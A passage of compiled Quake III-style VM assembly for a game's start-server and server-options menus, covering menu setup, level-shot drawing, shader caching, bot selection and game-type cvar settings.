INDIRI4 ADDRGP4 s_startserver+1952 INDIRI4 CNSTI4 1 SUBI4 GEI4 $187 ADDRLP4 8 ADDRGP4 s_startserver+1948 ASGNP4 ADDRLP4 8 INDIRP4 ADDRLP4 8 INDIRP4 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 ADDRGP4 StartServer_Update CALLV pop ADDRGP4 $187 JUMPV LABELV $200 ADDRGP4 $201 ARGP4 ADDRGP4 s_startserver+536+64 INDIRI4 CNSTI4 2 LSHI4 ADDRGP4 gametype_remap ADDP4 INDIRI4 CVIF4 4 ARGF4 ADDRGP4 trap_Cvar_SetValue CALLV pop ADDRGP4 s_startserver+1936 INDIRI4 ARGI4 ADDRGP4 UI_ServerOptionsMenu CALLV pop ADDRGP4 $187 JUMPV LABELV $205 ADDRGP4 UI_PopMenu CALLV pop LABELV $186 LABELV $187 LABELV $183 endproc StartServer_MenuEvent 12 8 proc StartServer_LevelshotDraw 64 20 ADDRLP4 0 ADDRFP4 0 INDIRP4 ASGNP4 ADDRLP4 0 INDIRP4 CNSTI4 4 ADDP4 INDIRP4 CVPU4 4 CNSTU4 0 NEU4 $209 ADDRGP4 $208 JUMPV LABELV $209 ADDRLP4 0 INDIRP4 CNSTI4 4 ADDP4 INDIRP4 CVPU4 4 CNSTU4 0 EQU4 $211 ADDRLP4 0 INDIRP4 CNSTI4 68 ADDP4 INDIRI4 CNSTI4 0 NEI4 $211 ADDRLP4 0 INDIRP4 CNSTI4 4 ADDP4 INDIRP4 ARGP4 ADDRLP4 36 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 ASGNI4 ADDRLP4 0 INDIRP4 CNSTI4 68 ADDP4 ADDRLP4 36 INDIRI4 ASGNI4 ADDRLP4 0 INDIRP4 CNSTI4 68 ADDP4 INDIRI4 CNSTI4 0 NEI4 $213 ADDRLP4 0 INDIRP4 CNSTI4 64 ADDP4 INDIRP4 CVPU4 4 CNSTU4 0 EQU4 $213 ADDRLP4 0 INDIRP4 CNSTI4 64 ADDP4 INDIRP4 ARGP4 ADDRLP4 48 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 ASGNI4 ADDRLP4 0 INDIRP4 CNSTI4 68 ADDP4 ADDRLP4 48 INDIRI4 ASGNI4 LABELV $213 LABELV $211 ADDRLP4 0 INDIRP4 CNSTI4 60 ADDP4 INDIRP4 CVPU4 4 CNSTU4 0 EQU4 $215 ADDRLP4 0 INDIRP4 CNSTI4 72 ADDP4 INDIRI4 CNSTI4 0 NEI4 $215 ADDRLP4 0 INDIRP4 CNSTI4 60 ADDP4 INDIRP4 ARGP4 ADDRLP4 40 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 ASGNI4 ADDRLP4 0 INDIRP4 CNSTI4 72 ADDP4 ADDRLP4 40 INDIRI4 ASGNI4 LABELV $215 ADDRLP4 4 ADDRLP4 0 INDIRP4 CNSTI4 12 ADDP4 INDIRI4 ASGNI4 ADDRLP4 8 ADDRLP4 0 INDIRP4 CNSTI4 16 ADDP4 INDIRI4 ASGNI4 ADDRLP4 12 ADDRLP4 0 INDIRP4 CNSTI4 76 ADDP4 INDIRI4 ASGNI4 ADDRLP4 16 ADDRLP4 0 INDIRP4 CNSTI4 80 ADDP4 INDIRI4 ASGNI4 ADDRLP4 0 INDIRP4 CNSTI4 68 ADDP4 INDIRI4 CNSTI4 0 EQI4 $217 ADDRLP4 4 INDIRI4 CVIF4 4 ARGF4 ADDRLP4 8 INDIRI4 CVIF4 4 ARGF4 ADDRLP4 12 INDIRI4 CVIF4 4 ARGF4 ADDRLP4 16 INDIRI4 CVIF4 4 ARGF4 ADDRLP4 0 INDIRP4 CNSTI4 68 ADDP4 INDIRI4 ARGI4 ADDRGP4 UI_DrawHandlePic CALLV pop LABELV $217 ADDRLP4 4 ADDRLP4 0 INDIRP4 CNSTI4 12 ADDP4 INDIRI4 ASGNI4 ADDRLP4 8 ADDRLP4 0 INDIRP4 CNSTI4 16 ADDP4 INDIRI4 ADDRLP4 0 INDIRP4 CNSTI4 80 ADDP4 INDIRI4 ADDI4 ASGNI4 ADDRLP4 4 INDIRI4 CVIF4 4 ARGF4 ADDRLP4 8 INDIRI4 CVIF4 4 ARGF4 ADDRLP4 0 INDIRP4 CNSTI4 76 ADDP4 INDIRI4 CVIF4 4 ARGF4 CNSTF4 1105199104 ARGF4 ADDRGP4 colorBlack ARGP4 ADDRGP4 UI_FillRect CALLV pop ADDRLP4 48 CNSTI4 2 ASGNI4 ADDRLP4 4 ADDRLP4 4 INDIRI4 ADDRLP4 0 INDIRP4 CNSTI4 76 ADDP4 INDIRI4 ADDRLP4 48 INDIRI4 DIVI4 ADDI4 ASGNI4 ADDRLP4 8 ADDRLP4 8 INDIRI4 CNSTI4 4 ADDI4 ASGNI4 ADDRLP4 20 ADDRGP4 s_startserver+1948 INDIRI4 ADDRLP4 48 INDIRI4 LSHI4 ADDRLP4 0 INDIRP4 CNSTI4 8 ADDP4 INDIRI4 ADDI4 CNSTI4 11 SUBI4 ASGNI4 ADDRLP4 20 INDIRI4 ADDRLP4 48 INDIRI4 LSHI4 ADDRGP4 s_startserver+1956 ADDP4 INDIRI4 ARGI4 ADDRLP4 52 ADDRGP4 UI_GetArenaInfoByNumber CALLP4 ASGNP4 ADDRLP4 24 ADDRLP4 52 INDIRP4 ASGNP4 ADDRLP4 24 INDIRP4 ARGP4 ADDRGP4 $105 ARGP4 ADDRLP4 56 ADDRGP4 Info_ValueForKey CALLP4 ASGNP4 ADDRLP4 4 INDIRI4 ARGI4 ADDRLP4 8 INDIRI4 ARGI4 ADDRLP4 56 INDIRP4 ARGP4 CNSTI4 17 ARGI4 ADDRGP4 color_orange ARGP4 ADDRGP4 UI_DrawString CALLV pop ADDRLP4 4 ADDRLP4 0 INDIRP4 CNSTI4 12 ADDP4 INDIRI4 ASGNI4 ADDRLP4 8 ADDRLP4 0 INDIRP4 CNSTI4 16 ADDP4 INDIRI4 ASGNI4 ADDRLP4 12 ADDRLP4 0 INDIRP4 CNSTI4 76 ADDP4 INDIRI4 ASGNI4 ADDRLP4 16 ADDRLP4 0 INDIRP4 CNSTI4 80 ADDP4 INDIRI4 CNSTI4 28 ADDI4 ASGNI4 ADDRLP4 0 INDIRP4 CNSTI4 44 ADDP4 INDIRU4 CNSTU4 64 BANDU4 CNSTU4 0 EQU4 $221 ADDRLP4 4 INDIRI4 CVIF4 4 ARGF4 ADDRLP4 8 INDIRI4 CVIF4 4 ARGF4 ADDRLP4 12 INDIRI4 CVIF4 4 ARGF4 ADDRLP4 16 INDIRI4 CVIF4 4 ARGF4 ADDRLP4 0 INDIRP4 CNSTI4 72 ADDP4 INDIRI4 ARGI4 ADDRGP4 UI_DrawHandlePic CALLV pop LABELV $221 LABELV $208 endproc StartServer_LevelshotDraw 64 20 bss align 1 LABELV $224 skip 64 code proc StartServer_MenuInit 32 12 ADDRGP4 s_startserver ARGP4 CNSTI4 0 ARGI4 CNSTU4 6052 ARGU4 ADDRGP4 qk_memset CALLP4 pop ADDRGP4 StartServer_Cache CALLV pop ADDRGP4 s_startserver+276 CNSTI4 1 ASGNI4 ADDRGP4 s_startserver+280 CNSTI4 1 ASGNI4 ADDRGP4 s_startserver+288 CNSTI4 10 ASGNI4 ADDRGP4 s_startserver+288+12 CNSTI4 320 ASGNI4 ADDRGP4 s_startserver+288+16 CNSTI4 16 ASGNI4 ADDRGP4 s_startserver+288+60 ADDRGP4 $234 ASGNP4 ADDRGP4 s_startserver+288+68 ADDRGP4 color_white ASGNP4 ADDRGP4 s_startserver+288+64 CNSTI4 1 ASGNI4 ADDRGP4 s_startserver+360 CNSTI4 6 ASGNI4 ADDRGP4 s_startserver+360+4 ADDRGP4 $242 ASGNP4 ADDRGP4 s_startserver+360+44 CNSTU4 16384 ASGNU4 ADDRGP4 s_startserver+360+12 CNSTI4 0 ASGNI4 ADDRGP4 s_startserver+360+16 CNSTI4 78 ASGNI4 ADDRGP4 s_startserver+360+76 CNSTI4 256 ASGNI4 ADDRGP4 s_startserver+360+80 CNSTI4 329 ASGNI4 ADDRGP4 s_startserver+448 CNSTI4 6 ASGNI4 ADDRGP4 s_startserver+448+4 ADDRGP4 $256 ASGNP4 ADDRGP4 s_startserver+448+44 CNSTU4 16384 ASGNU4 ADDRGP4 s_startserver+448+12 CNSTI4 376 ASGNI4 ADDRGP4 s_startserver+448+16 CNSTI4 76 ASGNI4 ADDRGP4 s_startserver+448+76 CNSTI4 256 ASGNI4 ADDRGP4 s_startserver+448+80 CNSTI4 334 ASGNI4 ADDRGP4 s_startserver+536 CNSTI4 3 ASGNI4 ADDRGP4 s_startserver+536+4 ADDRGP4 $270 ASGNP4 ADDRGP4 s_startserver+536+44 CNSTU4 258 ASGNU4 ADDRGP4 s_startserver+536+48 ADDRGP4 StartServer_GametypeEvent ASGNP4 ADDRGP4 s_startserver+536+8 CNSTI4 10 ASGNI4 ADDRGP4 s_startserver+536+12 CNSTI4 296 ASGNI4 ADDRGP4 s_startserver+536+16 CNSTI4 368 ASGNI4 ADDRGP4 s_startserver+536+76 ADDRGP4 gametype_items ASGNP4 ADDRLP4 0 CNSTI4 0 ASGNI4 LABELV $283 ADDRLP4 12 CNSTI4 136 ASGNI4 ADDRLP4 20 CNSTI4 2 ASGNI4 ADDRLP4 4 ADDRLP4 12 INDIRI4 ADDRLP4 0 INDIRI4 ADDRLP4 20 INDIRI4 MODI4 MULI4 CNSTI4 188 ADDI4 ASGNI4 ADDRLP4 8 ADDRLP4 12 INDIRI4 ADDRLP4 0 INDIRI4 ADDRLP4 20 INDIRI4 DIVI4 MULI4 CNSTI4 96 ADDI4 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+632 ADDP4 CNSTI4 6 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+632+44 ADDP4 CNSTU4 16388 ASGNU4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+632+12 ADDP4 ADDRLP4 4 INDIRI4 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+632+16 ADDP4 ADDRLP4 8 INDIRI4 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+632+8 ADDP4 ADDRLP4 0 INDIRI4 CNSTI4 11 ADDI4 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+632+76 ADDP4 CNSTI4 128 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+632+80 ADDP4 CNSTI4 96 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+632+60 ADDP4 ADDRGP4 $302 ASGNP4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+632+64 ADDP4 ADDRGP4 $305 ASGNP4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+632+56 ADDP4 ADDRGP4 StartServer_LevelshotDraw ASGNP4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+984 ADDP4 CNSTI4 6 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+984+44 ADDP4 CNSTU4 33028 ASGNU4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+984+8 ADDP4 ADDRLP4 0 INDIRI4 CNSTI4 11 ADDI4 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+984+48 ADDP4 ADDRGP4 StartServer_MapEvent ASGNP4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+984+12 ADDP4 ADDRLP4 4 INDIRI4 CNSTI4 30 SUBI4 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+984+16 ADDP4 ADDRLP4 8 INDIRI4 CNSTI4 32 SUBI4 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+984+76 ADDP4 CNSTI4 256 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+984+80 ADDP4 CNSTI4 248 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+984+20 ADDP4 ADDRLP4 4 INDIRI4 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+984+24 ADDP4 ADDRLP4 8 INDIRI4 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+984+28 ADDP4 ADDRLP4 4 INDIRI4 CNSTI4 128 ADDI4 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+984+32 ADDP4 ADDRLP4 8 INDIRI4 CNSTI4 128 ADDI4 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+984+60 ADDP4 ADDRGP4 $333 ASGNP4 LABELV $284 ADDRLP4 0 ADDRLP4 0 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 ADDRLP4 0 INDIRI4 CNSTI4 4 LTI4 $283 ADDRGP4 s_startserver+1336 CNSTI4 6 ASGNI4 ADDRGP4 s_startserver+1336+4 ADDRGP4 $337 ASGNP4 ADDRGP4 s_startserver+1336+44 CNSTU4 16384 ASGNU4 ADDRGP4 s_startserver+1336+12 CNSTI4 260 ASGNI4 ADDRGP4 s_startserver+1336+16 CNSTI4 400 ASGNI4 ADDRGP4 s_startserver+1336+76 CNSTI4 128 ASGNI4 ADDRGP4 s_startserver+1336+80 CNSTI4 32 ASGNI4 ADDRGP4 s_startserver+1424 CNSTI4 6 ASGNI4 ADDRGP4 s_startserver+1424+44 CNSTU4 260 ASGNU4 ADDRGP4 s_startserver+1424+48 ADDRGP4 StartServer_MenuEvent ASGNP4 ADDRGP4 s_startserver+1424+8 CNSTI4 15 ASGNI4 ADDRGP4 s_startserver+1424+12 CNSTI4 260 ASGNI4 ADDRGP4 s_startserver+1424+16 CNSTI4 400 ASGNI4 ADDRGP4 s_startserver+1424+76 CNSTI4 64 ASGNI4 ADDRGP4 s_startserver+1424+80 CNSTI4 32 ASGNI4 ADDRGP4 s_startserver+1424+60 ADDRGP4 $365 ASGNP4 ADDRGP4 s_startserver+1512 CNSTI4 6 ASGNI4 ADDRGP4 s_startserver+1512+44 CNSTU4 260 ASGNU4 ADDRGP4 s_startserver+1512+48 ADDRGP4 StartServer_MenuEvent ASGNP4 ADDRGP4 s_startserver+1512+8 CNSTI4 16 ASGNI4 ADDRGP4 s_startserver+1512+12 CNSTI4 321 ASGNI4 ADDRGP4 s_startserver+1512+16 CNSTI4 400 ASGNI4 ADDRGP4 s_startserver+1512+76 CNSTI4 64 ASGNI4 ADDRGP4 s_startserver+1512+80 CNSTI4 32 ASGNI4 ADDRGP4 s_startserver+1512+60 ADDRGP4 $383 ASGNP4 ADDRGP4 s_startserver+1776 CNSTI4 9 ASGNI4 ADDRGP4 s_startserver+1776+44 CNSTU4 16392 ASGNU4 ADDRGP4 s_startserver+1776+12 CNSTI4 320 ASGNI4 ADDRGP4 s_startserver+1776+16 CNSTI4 440 ASGNI4 ADDRGP4 s_startserver+1776+60 ADDRGP4 $224 ASGNP4 ADDRGP4 s_startserver+1776+64 CNSTI4 33 ASGNI4 ADDRGP4 s_startserver+1776+68 ADDRGP4 text_color_normal ASGNP4 ADDRGP4 s_startserver+1600 CNSTI4 6 ASGNI4 ADDRGP4 s_startserver+1600+4 ADDRGP4 $400 ASGNP4 ADDRGP4 s_startserver+1600+44 CNSTU4 260 ASGNU4 ADDRGP4 s_startserver+1600+48 ADDRGP4 StartServer_MenuEvent ASGNP4 ADDRGP4 s_startserver+1600+8 CNSTI4 17 ASGNI4 ADDRGP4 s_startserver+1600+12 CNSTI4 0 ASGNI4 ADDRGP4 s_startserver+1600+16 CNSTI4 416 ASGNI4 ADDRGP4 s_startserver+1600+76 CNSTI4 128 ASGNI4 ADDRGP4 s_startserver+1600+80 CNSTI4 64 ASGNI4 ADDRGP4 s_startserver+1600+60 ADDRGP4 $417 ASGNP4 ADDRGP4 s_startserver+1688 CNSTI4 6 ASGNI4 ADDRGP4 s_startserver+1688+4 ADDRGP4 $421 ASGNP4 ADDRGP4 s_startserver+1688+44 CNSTU4 272 ASGNU4 ADDRGP4 s_startserver+1688+48 ADDRGP4 StartServer_MenuEvent ASGNP4 ADDRGP4 s_startserver+1688+8 CNSTI4 18 ASGNI4 ADDRGP4 s_startserver+1688+12 CNSTI4 640 ASGNI4 ADDRGP4 s_startserver+1688+16 CNSTI4 416 ASGNI4 ADDRGP4 s_startserver+1688+76 CNSTI4 128 ASGNI4 ADDRGP4 s_startserver+1688+80 CNSTI4 64 ASGNI4 ADDRGP4 s_startserver+1688+60 ADDRGP4 $438 ASGNP4 ADDRGP4 s_startserver+1848 CNSTI4 6 ASGNI4 ADDRGP4 s_startserver+1848+44 CNSTU4 1050628 ASGNU4 ADDRGP4 s_startserver+1848+12 CNSTI4 0 ASGNI4 ADDRGP4 s_startserver+1848+16 CNSTI4 0 ASGNI4 ADDRGP4 s_startserver+1848+76 CNSTI4 640 ASGNI4 ADDRGP4 s_startserver+1848+80 CNSTI4 480 ASGNI4 ADDRGP4 s_startserver ARGP4 ADDRGP4 s_startserver+288 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 s_startserver ARGP4 ADDRGP4 s_startserver+360 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 s_startserver ARGP4 ADDRGP4 s_startserver+448 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 s_startserver ARGP4 ADDRGP4 s_startserver+536 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRLP4 0 CNSTI4 0 ASGNI4 LABELV $454 ADDRGP4 s_startserver ARGP4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+632 ADDP4 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 s_startserver ARGP4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+984 ADDP4 ARGP4 ADDRGP4 Menu_AddItem CALLV pop LABELV $455 ADDRLP4 0 ADDRLP4 0 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 ADDRLP4 0 INDIRI4 CNSTI4 4 LTI4 $454 ADDRGP4 s_startserver ARGP4 ADDRGP4 s_startserver+1336 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 s_startserver ARGP4 ADDRGP4 s_startserver+1424 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 s_startserver ARGP4 ADDRGP4 s_startserver+1512 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 s_startserver ARGP4 ADDRGP4 s_startserver+1600 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 s_startserver ARGP4 ADDRGP4 s_startserver+1688 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 s_startserver ARGP4 ADDRGP4 s_startserver+1776 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 s_startserver ARGP4 ADDRGP4 s_startserver+1848 ARGP4 ADDRGP4 Menu_AddItem CALLV pop CNSTP4 0 ARGP4 CNSTI4 3 ARGI4 ADDRGP4 StartServer_GametypeEvent CALLV pop LABELV $223 endproc StartServer_MenuInit 32 12 export StartServer_Cache proc StartServer_Cache 104 16 ADDRGP4 $400 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $417 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $421 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $438 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $242 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $256 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $333 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $302 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $305 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $337 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $365 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $383 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $468 ARGP4 ADDRLP4 92 ADDRGP4 trap_Cvar_VariableValue CALLF4 ASGNF4 ADDRLP4 88 ADDRLP4 92 INDIRF4 CVFI4 4 ASGNI4 ADDRLP4 88 INDIRI4 CNSTI4 0 EQI4 $469 ADDRLP4 0 CNSTI4 0 ASGNI4 ADDRGP4 $474 JUMPV LABELV $471 ADDRLP4 0 INDIRI4 ARGI4 ADDRLP4 96 ADDRGP4 UI_GetArenaInfoByNumber CALLP4 ASGNP4 ADDRLP4 84 ADDRLP4 96 INDIRP4 ASGNP4 ADDRLP4 84 INDIRP4 ARGP4 ADDRGP4 $105 ARGP4 ADDRLP4 100 ADDRGP4 Info_ValueForKey CALLP4 ASGNP4 ADDRLP4 68 ARGP4 ADDRLP4 100 INDIRP4 ARGP4 CNSTI4 16 ARGI4 ADDRGP4 Q_strncpyz CALLV pop ADDRLP4 68 ARGP4 ADDRGP4 Q_strupr CALLP4 pop ADDRLP4 4 ARGP4 CNSTI4 64 ARGI4 ADDRGP4 $106 ARGP4 ADDRLP4 68 ARGP4 ADDRGP4 Com_sprintf CALLI4 pop ADDRLP4 4 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop LABELV $472 ADDRLP4 0 ADDRLP4 0 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 LABELV $474 ADDRLP4 96 ADDRGP4 UI_GetNumArenas CALLI4 ASGNI4 ADDRLP4 0 INDIRI4 ADDRLP4 96 INDIRI4 LTI4 $471 LABELV $469 LABELV $467 endproc StartServer_Cache 104 16 export UI_StartServerMenu proc UI_StartServerMenu 0 4 ADDRGP4 StartServer_MenuInit CALLV pop ADDRGP4 s_startserver+1936 ADDRFP4 0 INDIRI4 ASGNI4 ADDRGP4 s_startserver ARGP4 ADDRGP4 UI_PushMenu CALLV pop LABELV $475 endproc UI_StartServerMenu 0 4 data align 4 LABELV dedicated_list address $478 address $479 address $480 byte 4 0 align 4 LABELV playerType_list address $481 address $482 address $483 byte 4 0 align 4 LABELV playerTeam_list address $484 address $485 byte 4 0 align 4 LABELV botSkill_list address $486 address $487 address $488 address $489 address $490 byte 4 0 code proc BotAlreadySelected 12 8 ADDRFP4 0 ADDRFP4 0 INDIRP4 ASGNP4 ADDRLP4 0 CNSTI4 1 ASGNI4 LABELV $492 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+2256+64 ADDP4 INDIRI4 CNSTI4 1 EQI4 $496 ADDRGP4 $493 JUMPV LABELV $496 ADDRGP4 s_serveroptions+5692 INDIRI4 CNSTI4 3 LTI4 $500 ADDRLP4 4 CNSTI4 96 ASGNI4 ADDRLP4 4 INDIRI4 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+4272+64 ADDP4 INDIRI4 ADDRLP4 4 INDIRI4 ADDRGP4 s_serveroptions+5924 INDIRI4 MULI4 ADDRGP4 s_serveroptions+4272+64 ADDP4 INDIRI4 EQI4 $500 ADDRGP4 $493 JUMPV LABELV $500 ADDRFP4 0 INDIRP4 ARGP4 ADDRLP4 0 INDIRI4 CNSTI4 4 LSHI4 ADDRGP4 s_serveroptions+5728 ADDP4 ARGP4 ADDRLP4 8 ADDRGP4 Q_stricmp CALLI4 ASGNI4 ADDRLP4 8 INDIRI4 CNSTI4 0 NEI4 $508 CNSTI4 1 RETI4 ADDRGP4 $491 JUMPV LABELV $508 LABELV $493 ADDRLP4 0 ADDRLP4 0 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 ADDRLP4 0 INDIRI4 CNSTI4 12 LTI4 $492 CNSTI4 0 RETI4 LABELV $491 endproc BotAlreadySelected 12 8 proc ServerOptions_Start 172 24 ADDRGP4 s_serveroptions+632+60+12 ARGP4 ADDRLP4 104 ADDRGP4 qk_atoi CALLI4 ASGNI4 ADDRLP4 76 ADDRLP4 104 INDIRI4 ASGNI4 ADDRGP4 s_serveroptions+964+60+12 ARGP4 ADDRLP4 108 ADDRGP4 qk_atoi CALLI4 ASGNI4 ADDRLP4 80 ADDRLP4 108 INDIRI4 ASGNI4 ADDRGP4 s_serveroptions+1296+60+12 ARGP4 ADDRLP4 112 ADDRGP4 qk_atoi CALLI4 ASGNI4 ADDRLP4 84 ADDRLP4 112 INDIRI4 ASGNI4 ADDRLP4 88 ADDRGP4 s_serveroptions+536+64 INDIRI4 ASGNI4 ADDRLP4 92 ADDRGP4 s_serveroptions+1628+60 INDIRI4 ASGNI4 ADDRLP4 96 ADDRGP4 s_serveroptions+2024+60 INDIRI4 ASGNI4 ADDRLP4 72 ADDRGP4 s_serveroptions+2088+64 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 ADDRLP4 116 CNSTI4 0 ASGNI4 ADDRLP4 0 ADDRLP4 116 INDIRI4 ASGNI4 ADDRLP4 68 ADDRLP4 116 INDIRI4 ASGNI4 ADDRGP4 $532 JUMPV LABELV $529 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+2256+64 ADDP4 INDIRI4 CNSTI4 2 NEI4 $533 ADDRGP4 $530 JUMPV LABELV $533 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+2256+64 ADDP4 INDIRI4 CNSTI4 1 NEI4 $537 ADDRLP4 0 INDIRI4 CNSTI4 4 LSHI4 ADDRGP4 s_serveroptions+5728 ADDP4 INDIRI1 CVII4 1 CNSTI4 0 NEI4 $537 ADDRGP4 $530 JUMPV LABELV $537 ADDRLP4 68 ADDRLP4 68 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 LABELV $530 ADDRLP4 0 ADDRLP4 0 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 LABELV $532 ADDRLP4 0 INDIRI4 CNSTI4 12 LTI4 $529 ADDRLP4 120 ADDRGP4 s_serveroptions+5692 INDIRI4 ASGNI4 ADDRLP4 120 INDIRI4 CNSTI4 0 LTI4 $542 ADDRLP4 120 INDIRI4 CNSTI4 4 GTI4 $542 ADDRLP4 120 INDIRI4 CNSTI4 2 LSHI4 ADDRGP4 $559 ADDP4 INDIRP4 JUMPV lit align 4 LABELV $559 address $545 address $548 address $542 address $551 address $555 code LABELV $545 LABELV $542 ADDRGP4 $546 ARGP4 ADDRLP4 80 INDIRI4 CVIF4 4 ARGF4 ADDRGP4 trap_Cvar_SetValue CALLV pop ADDRGP4 $547 ARGP4 ADDRLP4 76 INDIRI4 CVIF4 4 ARGF4 ADDRGP4 trap_Cvar_SetValue CALLV pop ADDRGP4 $543 JUMPV LABELV $548 ADDRGP4 $549 ARGP4 ADDRLP4 80 INDIRI4 CVIF4 4 ARGF4 ADDRGP4 trap_Cvar_SetValue CALLV pop ADDRGP4 $550 ARGP4 ADDRLP4 76 INDIRI4 CVIF4 4 ARGF4 ADDRGP4 trap_Cvar_SetValue CALLV pop ADDRGP4 $543 JUMPV LABELV $551 ADDRGP4 $552 ARGP4 ADDRLP4 80 INDIRI4 CVIF4 4 ARGF4 ADDRGP4 trap_Cvar_SetValue CALLV pop ADDRGP4 $553 ARGP4 ADDRLP4 76 INDIRI4 CVIF4 4 ARGF4 ADDRGP4 trap_Cvar_SetValue CALLV pop ADDRGP4 $554 ARGP4 ADDRLP4 92 INDIRI4 CVIF4 4 ARGF4 ADDRGP4 trap_Cvar_SetValue CALLV pop ADDRGP4 $543 JUMPV LABELV $555 ADDRGP4 $556 ARGP4 ADDRLP4 84 INDIRI4 CVIF4 4 ARGF4 ADDRGP4 trap_Cvar_SetValue CALLV pop ADDRGP4 $557 ARGP4 ADDRLP4 76 INDIRI4 CVIF4 4 ARGF4 ADDRGP4 trap_Cvar_SetValue CALLV pop ADDRGP4 $558 ARGP4 ADDRLP4 92 INDIRI4 CVIF4 4 ARGF4 ADDRGP4 trap_Cvar_SetValue CALLV pop LABELV $543 CNSTF4 0 ARGF4 CNSTF4 1094713344 ARGF4 ADDRLP4 68 INDIRI4 CVIF4 4 ARGF4 ADDRLP4 124 ADDRGP4 Com_Clamp CALLF4 ASGNF4 ADDRGP4 $560 ARGP4 ADDRLP4 124 INDIRF4 ARGF4 ADDRGP4 trap_Cvar_SetValue CALLV pop CNSTF4 0 ARGF4 CNSTF4 1073741824 ARGF4 ADDRLP4 88 INDIRI4 CVIF4 4 ARGF4 ADDRLP4 128 ADDRGP4 Com_Clamp CALLF4 ASGNF4 ADDRGP4 $561 ARGP4 ADDRLP4 128 INDIRF4 ARGF4 ADDRGP4 trap_Cvar_SetValue CALLV pop CNSTF4 0 ARGF4 ADDRLP4 132 ADDRLP4 76 INDIRI4 CVIF4 4 ASGNF4 ADDRLP4 132 INDIRF4 ARGF4 ADDRLP4 132 INDIRF4 ARGF4 ADDRLP4 136 